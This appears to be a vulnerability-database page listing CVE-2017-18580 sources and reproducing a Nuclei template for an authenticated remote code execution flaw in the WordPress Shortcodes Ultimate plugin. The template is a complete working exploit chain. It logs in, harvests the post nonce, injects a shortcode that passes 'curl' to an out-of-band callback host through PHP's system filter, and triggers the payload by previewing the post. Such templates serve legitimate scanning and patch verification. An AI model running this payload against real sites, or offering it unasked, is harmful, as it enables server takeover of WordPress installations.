| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2017-18580 | 15 Dec 202502:01 | – | circl | |
| WordPress shortcodes-ultimate plugin input validation error vulnerability | 28 Aug 201900:00 | – | cnvd | |
| CVE-2017-18580 | 22 Aug 201913:32 | – | cve | |
| CVE-2017-18580 | 22 Aug 201913:32 | – | cvelist | |
| EUVD-2017-9696 | 7 Oct 202500:30 | – | euvd | |
| CVE-2017-18580 | 22 Aug 201914:15 | – | nvd | |
| CVE-2017-18580 | 22 Aug 201914:15 | – | osv | |
| Remote code execution | 22 Aug 201914:15 | – | prion | |
| CVE-2017-18580 | 22 May 202507:18 | – | redhatcve | |
| VulnCheck KEV: CVE-2017-18580 | 31 Oct 201700:00 | – | vulncheck_kev |
id: CVE-2017-18580
info:
name: WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.
impact: |
Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise.
remediation: |
Update to version 5.0.1 or later.
reference:
- https://wpscan.com/vulnerability/efad59c8-e6ae-4167-9c78-d3ea52fe5bba/
- https://plugins.trac.wordpress.org/changeset/1756323/shortcodes-ultimate
- https://blog.sucuri.net/2017/11/formidable-forms-shortcodes-ultimate-exploits-in-the-wild.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-18580
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2017-18580
cwe-id: CWE-94
epss-score: 0.12092
epss-percentile: 0.95618
metadata:
verified: true
max-request: 4
vendor: developer_developer
product: shortcodes-ultimate
framework: wordpress
publicwww-query: "/wp-content/plugins/shortcodes-ultimate/"
tags: cve,cve2017,wordpress,wp-plugin,shortcodes-ultimate,rce,authenticated,oast,wp,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/post-new.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "_wpnonce")
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- 'metabox-base-form">\s*<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"'
- type: regex
name: post_id
part: body
internal: true
group: 1
regex:
- "id='post_ID' name='post_ID' value='([0-9]+)'"
- raw:
- |
POST /wp-admin/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=editpost&post_ID={{post_id}}&post_status=draft&post_type=post&_wpnonce={{nonce}}&post_title=nuclei-rce-test&content=%5Bsu_meta+key%3D1+post_id%3D1+default%3D%27curl+{{interactsh-url}}%27+filter%3D%27system%27%5D
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "post=")
condition: and
internal: true
- raw:
- |
GET /?p={{post_id}}&preview=true HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
condition: and
# digest: 4a0a0047304502205e5116ab93d3953c9df3dd2a3d049f6450e2fffe087d8d427dafa41327863a47022100a011c0a0ca783024cf0b41dbc5394e314d005e9698a55d991f56cda84ed07b96:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation